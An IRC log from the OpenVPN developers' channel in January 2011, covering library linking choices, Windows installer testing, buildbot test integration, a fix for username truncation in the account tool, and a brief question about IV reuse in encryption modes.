<@dazo> http://docs.redhat.com/docs/en-US/Red_Hat_Enterprise_Linux/6/html/Virtualization/sect-Virtualization-Installing_Windows_XP_as_a_fully_virtualized_guest.html 09:27 <@vpnHelper> Title: Chapter 9. Installing a fully-virtualized Windows guest (at docs.redhat.com) 09:28 <@dazo> hmm ... nothing which is too specific 09:29 <@mattock> dazo: thanks! 09:30 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:30 <@mattock> regarding the lzo2.dll issue... I wonder why it is statically linked, but openssl is not... 09:31 <@dazo> maybe because openssl binary is needed by easy-rsa which is shipped in addition 09:31 <@dazo> and then it makes no sense of having two static linked apps 09:31 <@mattock> hmm, could be, yes 09:31 <@dazo> or that there are build issues with static openssl linking 09:32 <@mattock> do you think it'd be possible to move to dynamic lzo2.dll? 09:32 <@mattock> any issues with that? 09:32 <@cron2> mattock: where's the benefit? it's somewhat more complexity and more bytes, if openvpn is the only consumer of lzo2.dll 09:32 <@dazo> I don't see any issues with that ... just check the license, to be sure it's compatible by doing so 09:33 * cron2 dislikes dynamic libraries "because it can be done" 09:33 <@cron2> if there's multiple users, fine, but for a single binary, I don't see benefits 09:34 <@mattock> I'd guess that in 99% of the cases there's only OpenVPN 09:34 <@cron2> (well, theoretically, a bug in lzo could be fixed by replacing lzo2.dll, but then, this is not going to happen if lzo2.dll is shipped as part of OpenVPN...) 09:35 <@mattock> I'd guess lzo needs changes relatively rarely 09:37 <@dazo> We simply need a better installation routine ... maybe one which can install these more independently, and then have some kind of update-daemon which we could make use of to help people upgrade more easily .... maybe d12fk got some ideas? 09:37 <@dazo> then dynamic loading would make more sense 09:38 <@cron2> I'm not sure this makes sense - it increases complexity, for what gain? 09:38 <@dazo> for lzo2, I agree ... for openssl, it makes more sense to upgrade it more often 09:38 <@cron2> updating is fairly easy today - just install the new package, configuration files and stuff won't be lost 09:39 <@dazo> but users in general don't do that unless they are told to upgrade 09:40 <@cron2> which brings back the thing that jjk found in the code, the "client signals version to server" stuff 09:40 <@dazo> I don't think it's possible to add a "update channel" to Windows Update ... but if the GUI could just check currently installed versions against what's available and pop-up a warning ... 09:40 <@dazo> yeah 09:40 <@dazo> for corporates, that's a more a requirement 09:41 <@dazo> (which could disable the GUI updates - which I think needs to be an option anyway - corporates don't want to hear their client complaining more than they already do) 10:06 <@vpnHelper> RSS Update - tickets: #75: openvpn fills up syslog with “socket operation on non-socket (code=88)” <https://community.openvpn.net/openvpn/ticket/75> 12:38 -!- dazo is now known as dazo_afk 13:33 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 13:33 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 15:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Operation timed out] 16:41 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 22:05 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 22:05 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 22:05 -!- mode/#openvpn-devel [+v roentgen_] by ChanServ 23:52 <@vpnHelper> RSS Update - tickets: #76: Using port-share causes high CPU <https://community.openvpn.net/openvpn/ticket/76> --- Day changed Tue Jan 18 2011 00:10 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:24 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 02:45 -!- dazo_afk is now known as dazo 04:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:46 -!- common- [~common@p5DDA48B3.dip0.t-ipconnect.de] has joined #openvpn-devel 04:49 -!- common [~common@p5DDA4873.dip0.t-ipconnect.de] has quit [Ping timeout: 276 seconds] 04:49 -!- common- is now known as common 05:31 <@vpnHelper> RSS Update - tickets: #77: Windows x64 vars.bat bug <https://community.openvpn.net/openvpn/ticket/77> 08:37 -!- waldner [~waldner@unaffiliated/waldner] has quit [Ping timeout: 260 seconds] 08:42 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 08:42 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 08:42 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:33 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 09:37 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:11 -!- dazo is now known as dazo_afk 15:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:20 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 16:20 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 16:20 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:01 -!- phessler [~phessler@gir.theapt.org] has quit [Ping timeout: 255 seconds] 19:03 -!- phessler [~phessler@gir.theapt.org] has joined #openvpn-devel 19:16 <@vpnHelper> RSS Update - tickets: #78: openvpn http-proxy auth issue with profiles <https://community.openvpn.net/openvpn/ticket/78> --- Day changed Wed Jan 19 2011 00:06 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 00:11 -!- dazo_afk is now known as dazo 00:25 -!- Netsplit *.net <-> *.split quits: @dazo, +krzee, @d12fk, waldner 02:27 -!- d12fk [~heiko@vpn.astaro.de] has joined #openvpn-devel 02:27 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 02:27 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:27 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:27 -!- ServerMode/#openvpn-devel [+ovo d12fk krzee dazo] by niven.freenode.net 04:00 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:01 -!- mode/#openvpn-devel [+o mattock] by ChanServ 04:41 -!- dazo is now known as dazo_afk 04:50 -!- common [~common@p5DDA48B3.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:52 -!- common [~common@p5DDA484C.dip0.t-ipconnect.de] has joined #openvpn-devel 05:25 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 06:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:13 -!- Netsplit *.net <-> *.split quits: psha, +krzee, helmut, @d12fk, @dazo_afk, kisom, Essobi, waldner 13:18 -!- Netsplit over, joins: psha, @dazo_afk, +krzee, waldner, @d12fk, helmut, Essobi, kisom 15:26 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:07 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:07 -!- mode/#openvpn-devel [+o mattock] by ChanServ 16:16 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 16:30 -!- Netsplit *.net <-> *.split quits: Essobi 16:33 -!- Netsplit over, joins: Essobi 17:08 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 18:49 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 18:49 -!- mode/#openvpn-devel [+o patelx] by ChanServ 23:13 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 23:13 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Thu Jan 20 2011 00:05 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:03 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 03:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 03:45 <@mattock> meeting today? 03:46 <@mattock> I've been struggling with Windows 7 install... my DVD ISO image was broken which caused all sorts of issues 03:48 <@mattock> if all goes well, I'll have the Win7 test setup running today 04:28 <@cron2> mattock: I can have an eye on the channel, but will be at work, cleaning up cabling at a core switch, so will be somewhat passive 04:28 <@mattock> cron2: ok 04:28 <@mattock> sounds fun, btw :) 04:43 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:50 -!- common [~common@p5DDA484C.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 04:52 -!- common [~common@p5DDA474F.dip0.t-ipconnect.de] has joined #openvpn-devel 05:18 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Quit: ircN 8.00 for mIRC (20100904) - www.ircN.org] 06:21 -!- psha[work] [~psha@qwe.s2s.msu.ru] has joined #openvpn-devel 08:51 -!- psha[work] [~psha@qwe.s2s.msu.ru] has quit [Quit: leaving] 09:53 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 10:01 <@vpnHelper> RSS Update - tickets: #79: Optimizations for multicast over TAP w/ OpenVPN <https://community.openvpn.net/openvpn/ticket/79> 10:19 -!- phessler [~phessler@gir.theapt.org] has quit [Quit: Lost terminal] 10:49 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 10:49 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 11:04 -!- Guest3291 [~user@openvpn/community/developer/dazo] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o Guest3291] by ChanServ 11:04 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 11:04 -!- Guest3291 is now known as dazo_ 11:05 <@dazo_> mattock: I'm sorry for short notice, but I'm not able to join the meeting today 11:06 <@mattock> dazo: no problem, cron2 won't make it either 11:06 <@mattock> so I think skipping the meeting is the way to go 11:06 <@mattock> a brief update on windows building... 11:07 <@mattock> the Windows ISO images I got from our internal servers were corrupt... I guess because they've gone through (misconfigured?) samba mounts/shares 11:07 <@mattock> I'll ask Andrew today evening if he could put them somewhere else so that I could download them 11:08 <@mattock> after that's done, I can start installing Win7 64bit to my own server and test the OpenvPN installer there 11:09 <@dazo_> cool! I really hope we can get the windows build killed soon 11:10 <@cron2> mattock: any news on t_client.sh integration in buildbot? 11:10 <@mattock> dazo: me too, it has taken way too long... 11:11 * dazo_ need to go now ... I'll try to catch up a little bit tomorrow 11:11 <@mattock> cron2: no, I've been concentrating to Windows building issues... is there a t_client.rc in repo already? 11:12 <@mattock> perhaps having one without the IP address of the public test server would make sense 11:12 <@dazo_> if that gets committed to cron2s tree, I'll get it merged into the official tree 11:13 <@mattock> that would be great! 11:13 <@mattock> buildbot integration should be pretty trivial... 11:13 -!- dazo_ [~user@openvpn/community/developer/dazo] has quit [Read error: Connection reset by peer] 11:16 <@mattock> I just sent out the summary of the previous meeting... this is what happens when I don't write it on Friday :) 11:17 <@cron2> there's a sample file in the official tree (from day one), but without the specific test sets "which server, which IP addresses to ping" that's not useful, so waiting for my t_client.sh file is not helping 11:17 <@cron2> mattock: you need to use the one that you already have, doesn't make sense to put that into git 11:17 <@cron2> (unless we want to publish it as "here's the test server, feel free to use!") 11:18 <@mattock> cron2: I'll check what's installed on build.openvpn.net currently 11:18 <@mattock> now that I think of it, I could do the t_client.rc integration while Windows 7 is installing... hopefully tomorrow 12:11 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:11 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:41 -!- patelx [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 13:41 -!- mode/#openvpn-devel [+o patelx] by ChanServ 13:53 < common> http://article.gmane.org/gmane.comp.video.ffmpeg.devel/124122 13:53 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 14:57 <@cron2> mattock: oh, cool, coverity is covered I see in last week's protocol now. I'm very much looking forward to see the outcome of this (especially for "allmerged", as some of the warnings might be mine) 15:49 <@mattock> yep 15:58 <+krzee> https://forums.openvpn.net/topic7532.html 15:58 <@vpnHelper> Title: OpenVPN Support Forum Multicast support in tap-win32 (with patch) : Wishlist (at forums.openvpn.net) 16:56 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 19:15 -!- patel [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has joined #openvpn-devel 19:17 -!- patel is now known as openvpn2009 19:17 -!- openvpn2009 [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Changing host] 19:17 -!- openvpn2009 [~patel@openvpn/corp/admin/patel] has joined #openvpn-devel 19:17 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 19:18 -!- patelx [~patel@openvpn/corp/admin/patel] has quit [Ping timeout: 240 seconds] 23:40 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Fri Jan 21 2011 01:28 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:57 -!- common [~common@p5DDA474F.dip0.t-ipconnect.de] has quit [Read error: Connection reset by peer] 01:57 -!- common [~common@p5DDA474F.dip0.t-ipconnect.de] has joined #openvpn-devel 04:48 -!- common [~common@p5DDA474F.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:52 -!- common [~common@p5DDA488B.dip0.t-ipconnect.de] has joined #openvpn-devel 04:58 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 08:30 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 09:26 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:32 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 11:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:50 -!- mode/#openvpn-devel [+o mattock] by ChanServ 11:50 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 11:57 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:57 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:04 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 14:50 -!- psha [~psha@213.208.162.69] has quit [Ping timeout: 240 seconds] 19:31 <+krzee> Fri Jan 21 19:42:20 2011 WARNING: 'dev-type' is used inconsistently, local='dev-type tap', remote='dev-type tun' 19:32 <+krzee> i propose that this should be a fatal error for the client 21:07 -!- krzee [krzee@openvpn/community/support/krzee] has left #openvpn-devel ["Leaving"] 21:15 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 21:15 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 21:15 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 21:15 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:26 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:29 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] --- Day changed Sat Jan 22 2011 00:28 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:53 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 04:48 -!- common- [~common@p5DDA402D.dip0.t-ipconnect.de] has joined #openvpn-devel 04:49 -!- common [~common@p5DDA488B.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:49 -!- common- is now known as common 04:58 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 04:58 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 04:58 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 04:58 -!- mode/#openvpn-devel [+v krzee] by ChanServ 05:29 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 10:47 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 10:48 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:57 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 14:02 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 14:02 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 14:02 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:02 -!- mode/#openvpn-devel [+v krzee] by ChanServ 15:40 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 18:06 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Sun Jan 23 2011 00:48 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:51 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 04:10 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 04:11 <@vpnHelper> RSS Update - tickets: #80: OpenVPN client config should allow TCP and UDP in one config <https://community.openvpn.net/openvpn/ticket/80> 04:49 -!- common- [~common@p5DDA444E.dip0.t-ipconnect.de] has joined #openvpn-devel 04:52 -!- common [~common@p5DDA402D.dip0.t-ipconnect.de] has quit [Ping timeout: 246 seconds] 04:52 -!- common- is now known as common 06:22 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:22 -!- mode/#openvpn-devel [+o mattock] by ChanServ 09:35 -!- psha [~psha@213.208.162.69] has quit [Read error: No route to host] 09:40 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 09:55 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:55 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 10:39 < ecrist> ping mattock 10:39 < ecrist> it would seem pwm is truncating user names silently. I've gotten a number of emails lately where a user's username has been truncated and there is no indication to the user about this. 10:40 < ecrist> they are forced to assume either their account didn't get created or they don't remember their password. 12:56 <@mattock> ecrist: yep, that's got to be fixed 12:56 <@mattock> btw. it seems that with newer pwm (1.5.x) it's possible to use hashed passwords with OpenLDAP 12:56 <@mattock> I mean, change hashed passwords 15:20 <@mattock> ecrist: I change the maximum username (cn) length to 20 characters 15:20 <@mattock> I'll need to deploy the new WAR, but that's trivial 15:23 <@mattock> ... the old maximum was 12 characters 15:27 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 17:07 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 17:40 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 20:32 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 20:32 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 22:39 -!- waldner [~waldner@unaffiliated/waldner] has quit [Read error: Operation timed out] 22:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has joined #openvpn-devel 22:39 -!- waldner [~waldner@waldner-1-pt.tunnel.tserv5.lon1.ipv6.he.net] has quit [Changing host] 22:39 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel --- Day changed Mon Jan 24 2011 00:32 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 01:34 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 01:38 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:56 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 02:56 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 02:56 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 02:56 -!- mode/#openvpn-devel [+v krzee] by ChanServ 03:22 -!- dazo_afk is now known as dazo 04:40 -!- dazo is now known as dazo_afk 04:41 -!- dazo_afk is now known as dazo 04:52 -!- common [~common@p5DDA444E.dip0.t-ipconnect.de] has quit [Ping timeout: 240 seconds] 04:54 -!- common [~common@p5DDA481A.dip0.t-ipconnect.de] has joined #openvpn-devel --- Log closed Mon Jan 24 05:21:53 2011 --- Log opened Mon Jan 24 05:21:59 2011 05:21 -!- ecrist [~ecrist@216.17.68.153] has joined #openvpn-devel 05:21 -!- Irssi: #openvpn-devel: Total of 18 nicks [6 ops, 0 halfops, 1 voices, 11 normal] 05:21 -!- mode/#openvpn-devel [+v ecrist] by ChanServ 05:22 -!- Irssi: Join to #openvpn-devel was synced in 39 secs 07:14 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 08:33 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 08:37 -!- kisom [~kisom@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Remote host closed the connection] 08:42 -!- waldner [~waldner@unaffiliated/waldner] has quit [Remote host closed the connection] 08:43 -!- kisom [~x@c-d0dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 08:55 -!- waldner [~waldner@unaffiliated/waldner] has joined #openvpn-devel 09:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 09:13 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:18 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 12:28 -!- openvpn2009 is now known as patelx 13:15 -!- dazo is now known as dazo_afk 18:48 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 18:58 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:07 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:07 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:32 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 19:38 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 19:38 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 19:38 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:38 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:38 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 20:38 -!- mode/#openvpn-devel [+v krzee] by ChanServ 21:13 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 23:57 <+krzee> when mattock is here someone pls paste this to him: 23:58 <+krzee> http://openvpn.net/index.php/open-source/341-openvpn-compatibility.html could have a couple things added 23:58 <@vpnHelper> Title: OpenVPN Compatibility (at openvpn.net) --- Day changed Tue Jan 25 2011 00:00 <+krzee> it runs on jailbroken iphones, rooted androids, and maemo nokias 01:18 * cron2 wants openvpn for non-jailbroken iphones :( 01:45 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 02:07 -!- dazo_afk is now known as dazo 02:35 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 02:35 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 02:47 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 02:51 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 03:34 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 03:34 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 03:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 03:34 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 03:34 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 03:38 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 240 seconds] 03:39 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 03:50 <+krzee> cron2, no chance 03:50 <+krzee> =[ 04:53 -!- common [~common@p5DDA481A.dip0.t-ipconnect.de] has quit [Ping timeout: 255 seconds] 04:54 -!- common [~common@p5DDA48A3.dip0.t-ipconnect.de] has joined #openvpn-devel 05:34 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 05:35 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:35 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:25 <@mattock> ecrist: I'll deploy pwm now 07:28 <+ecrist> sweet 07:29 <@dazo> mattock: I'm not intending to make you feel bad ... but how is it with the Windows build now? Are we able to release 2.2-RC any time soon? 07:30 <@mattock> dazo: well, last week I managed to get Win7 64bit installed 07:30 <@mattock> for testing the installer 07:30 <@dazo> nice! ... okay, so it's progressing :) That's the important thing :) 07:30 <@mattock> I'll try to get it's network working today, so that I can activate it 07:30 <@mattock> yeah, I feel embarrassed that it's progressing so slowly... 07:31 <@mattock> but it's getting there definitely 07:31 <@mattock> there are really only two days (thursday and friday) when I can really concentrate on work... on other days it's 1-3 hours max 07:31 <@dazo> let's just cling to a Chinese proverb ... "Time comes, it doesn't go away" :) 07:32 <@mattock> hope so :) 07:32 <@dazo> yeah, that's understandable ... I just need to be sure we can get it solved ... and building our own functional Windows binaries and installers is a key feature for us 07:33 <@mattock> yes, I agree 100% 07:33 <@mattock> anyways, I'll deploy new pwm and move on to Win7 then 07:33 <@mattock> only got 30 mins :(... I've come to the conclusion that I have too much stuff going on simultaneously 07:42 <@dazo> :) 07:42 <@dazo> serialising is often the best approach :) 07:48 <@mattock> yep 07:48 <@mattock> tomcat down for a while... 07:48 <@mattock> not strictly necessary, but safer 08:02 <@mattock> ecrist: ok, now the Username (=cn) limit is 20 characters 08:03 <@mattock> actually, pwm refuses to let user input more than that 08:03 <@mattock> probably users just touch-typed their username and did not notice that not all characters were registered 08:05 <+ecrist> that's my guess, as well 08:05 <+ecrist> would be nice if it would send a confirmation email to users. 08:23 -!- chantra_1fk [~chantra@ns38827.ovh.net] has quit [Ping timeout: 264 seconds] 08:28 -!- chantra_afk [~chantra@unaffiliated/chantra] has joined #openvpn-devel 08:54 -!- dazo is now known as dazo_afk 08:57 -!- dazo_afk is now known as dazo 10:31 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:41 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:41 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 12:05 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 12:46 -!- dazo is now known as dazo_afk 12:50 <+ecrist> dazo_afk: what is YOUR account that got hacked? 13:42 <@mattock> ecrist: the new version of pwm has many new features, not sure if that one is included 13:43 <+ecrist> ok 13:46 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 13:46 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 13:46 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 13:46 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:46 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:50 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 240 seconds] 13:53 -!- jamesyonan_ [~jamesyona@208.43.3.119] has joined #openvpn-devel 13:53 -!- mode/#openvpn-devel [+o jamesyonan_] by ChanServ 13:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Read error: Connection reset by peer] 13:53 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 13:53 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 13:57 -!- jamesyonan_ [~jamesyona@208.43.3.119] has quit [Ping timeout: 240 seconds] 13:58 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Client Quit] 14:11 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 14:11 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:54 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: Leaving] 15:37 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:47 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 17:24 -!- krzee [krzee@hemp.ircpimps.org] has joined #openvpn-devel 17:24 -!- krzee [krzee@hemp.ircpimps.org] has quit [Changing host] 17:24 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 17:24 -!- mode/#openvpn-devel [+v krzee] by ChanServ 17:25 -!- ricky [~ricky@fedora/ricky] has joined #openvpn-devel 17:28 < ricky> Hi, could somebody possibly take a look at this patch: http://ricky.fedorapeople.org/openvpn/openvpn-iv.patch 17:29 < ricky> I'm not very familiar with the openvpn code, but it seems to me that openvpn_encrypt is using a zero initialization vector when (mode == EVP_CIPH_CFB_MODE || mode == EVP_CIPH_OFB_MODE) 17:50 < ricky> Ah, I take that back, the iv actually gets set to 1 followed by the current time. Just ignore me :-) 17:52 < ricky> Although in a window of 1 second it is possible for openvpn_encrypt to use the same IV twice. 17:55 < ricky> (depending on where packet IDs come from - either way, I think this patch would kill any chance of that happening, if there is any) 18:59 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 19:19 -!- krzee [krzee@openvpn/community/support/krzee] has joined #openvpn-devel 19:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 20:05 -!- krzee [krzee@openvpn/community/support/krzee] has quit [Ping timeout: 276 seconds] --- Day changed Wed Jan 26 2011 01:41 -!- 